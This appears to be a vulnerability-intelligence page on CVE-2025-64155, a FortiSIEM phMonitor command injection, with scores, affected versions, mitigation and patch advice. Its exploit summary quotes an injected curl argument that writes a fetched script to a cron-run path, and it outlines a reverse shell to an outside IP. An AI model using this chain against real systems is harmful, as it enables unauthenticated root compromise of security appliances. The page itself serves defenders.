Skip to main content
Mallory
CriticalPublic exploitVulnerability

CVE-2025-64155: Unauthenticated Remote Command Injection in Fortinet FortiSIEM phMonitor

Published Jan 13, 2026 · Updated 25 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days2 mentions · peak 2 in a dayToday
CVSS9.8Critical · v3.1
EPSS43.9%99th percentile
CISA KEVNoNot listed
In the wildReported11 exploitation records in Mallory
Vendor
Fortinet
IdentifiersCVE-2025-64155CWE-78 · Improper Neutralization of Special…
Also known asfg_ir_25_772

CVE-2025-64155 is an unauthenticated OS command injection vulnerability in the Fortinet FortiSIEM phMonitor service on TCP port 7900. Command handlers registered through phMonitorProcess::initEventHandler are remotely accessible without authentication. An Elasticsearch storage-request handler passes attacker-controlled parameters into a shell-script workflow that invokes curl, permitting argument injection and arbitrary file writes with admin privileges. Overwriting an executable enables code execution as admin; overwriting an admin-writable script executed periodically by a root cron job enables escalation to root. Affected releases are 7.4.0, 7.3.0–7.3.4, 7.2.0–7.2.6, 7.1.0–7.1.8, 7.0.0–7.0.4, and 6.7.0–6.7.10. Only Super and Worker nodes are affected; Collector nodes, FortiSIEM Cloud, and FortiSIEM 7.5 are unaffected by this vulnerability. Public proof-of-concept code and active exploitation have been reported.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Analyst brief

Impact, mitigation & remediation

What it means and what to do now: patch path, interim mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation permits unauthenticated remote code execution as the admin user and, through the demonstrated file-overwrite privilege-escalation chain, root-level appliance compromise. This can compromise the confidentiality, integrity, and availability of the SIEM platform, enabling sensitive-data theft, modification of collected security information, persistence, and service disruption. A compromised appliance may also provide a foothold for lateral movement into connected internal networks.

Mitigation

If you can’t patch tonight, do this now.

Until patched, restrict access to phMonitor on TCP port 7900 to trusted systems using firewall rules. Place FortiSIEM in a protected network segment and prevent direct public-internet access. Monitor for anomalous phMonitor requests, unexpected executable modifications, and cron-job tampering, and investigate suspected exploitation.

Remediation

Patch, then assume compromise.

Apply Fortinet's fixes: upgrade 7.4.0 to 7.4.1 or later, 7.3.0–7.3.4 to 7.3.5 or later, 7.2.0–7.2.6 to 7.2.7 or later, and 7.1.0–7.1.8 to 7.1.9 or later. Migrate affected 7.0 and 6.7 installations to a supported fixed release. Validate the upgrade on affected Super and Worker nodes. Assess previously exposed systems for compromise; patching does not remove existing attacker access or malicious modifications.

Public exploits

Exploits

1 exploit validated by Mallory's analysis. Hidden: 4 rejected by Mallory's analysis as not a working exploit.

View more in app →
CVE-2025-64155Repository contains a working PoC for CVE-2025-64155 (Fortinet FortiSIEM) achieving argument injection → arbitrary file write → root RCE. Structure: - CVE-2025-64155.py: Main exploit. Opens a TLS socket to the FortiSIEM Phoenix Monitor service (default port 7900) and sends a crafted binary-framed message containing an XML <TEST_STORAGE type="elastic"> payload. The key exploit primitive is injection in <cluster_url>, appending extra arguments (e.g., “--next -o /opt/charting/redishb.sh http://10.0.40.83:9200”) to coerce the target’s internal URL-testing script to fetch attacker content and write it to a chosen path. - serve.py: Minimal HTTP server on port 9200 that responds only to GET /_cluster/health?pretty with a bash script (example reverse shell). This is the second-stage content the target is tricked into downloading. - README.md: Usage notes and cautions. Describes editing serve.py payload and cluster_url, running the web server, then running the exploit, and waiting ~1 minute for a cron job to execute the written script. Capabilities: - Remote network exploitation over TLS to a service endpoint. - Forces the target to make an outbound HTTP request to attacker infrastructure. - Writes a script to /opt/charting/redishb.sh and relies on scheduled execution for root code execution (example reverse shell to 10.0.40.83:4447). Overall, this is an operational PoC with a hardcoded example payload and endpoints, intended for controlled testing rather than a generalized framework module.horizon3ai · Disclosed Jan 13, 2026 · python · network (TLS-wrapped TCP) to Phoenix Monitor service; secondary HTTP callback to attacker server; reverse shell egress over TCPOperational
Exposure surface

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
FortinetFortisiemapplication
FAQ

Frequently asked questions

Is CVE-2025-64155 exploited in the wild?
Yes. As of Oct 23, 2026, Mallory has reports of exploitation in the wild.
Is there a public exploit for CVE-2025-64155?
Yes. Mallory tracks 1 public exploit or proof of concept for CVE-2025-64155, the earliest disclosed Jan 13, 2026.
Is there a patch for CVE-2025-64155?
Apply Fortinet's fixes: upgrade 7.4.0 to 7.4.1 or later, 7.3.0–7.3.4 to 7.3.5 or later, 7.2.0–7.2.6 to 7.2.7 or later, and 7.1.0–7.1.8 to 7.1.9 or later. Migrate affected 7.0 and 6.7 installations to a supported fixed release.
What products are affected by CVE-2025-64155?
Fortinet Fortisiem.
How severe is CVE-2025-64155?
CVE-2025-64155 has a CVSS v3.1 score of 9.8 (Critical) and an EPSS score of 43.9% (99th percentile) as of Oct 23, 2026.
Activity feed

Recent activity

117 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+30 more in the timeline. Sign up to see them
Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, and which detections to deploy tonight.
Exposure mappingQuery your assets running an affected version, and investigate the blast radius.
Threat actor evidenceEvery report linking this CVE to a named adversary.
Associated malwareMalware families linked to this CVE, with evidence and IOCs.
Detection signatures2YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Vendor-by-vendor mappingCross-references every affected SKU, including bundled OEM variants.
Social activity77Community discussion across Reddit, Mastodon, and other social sources.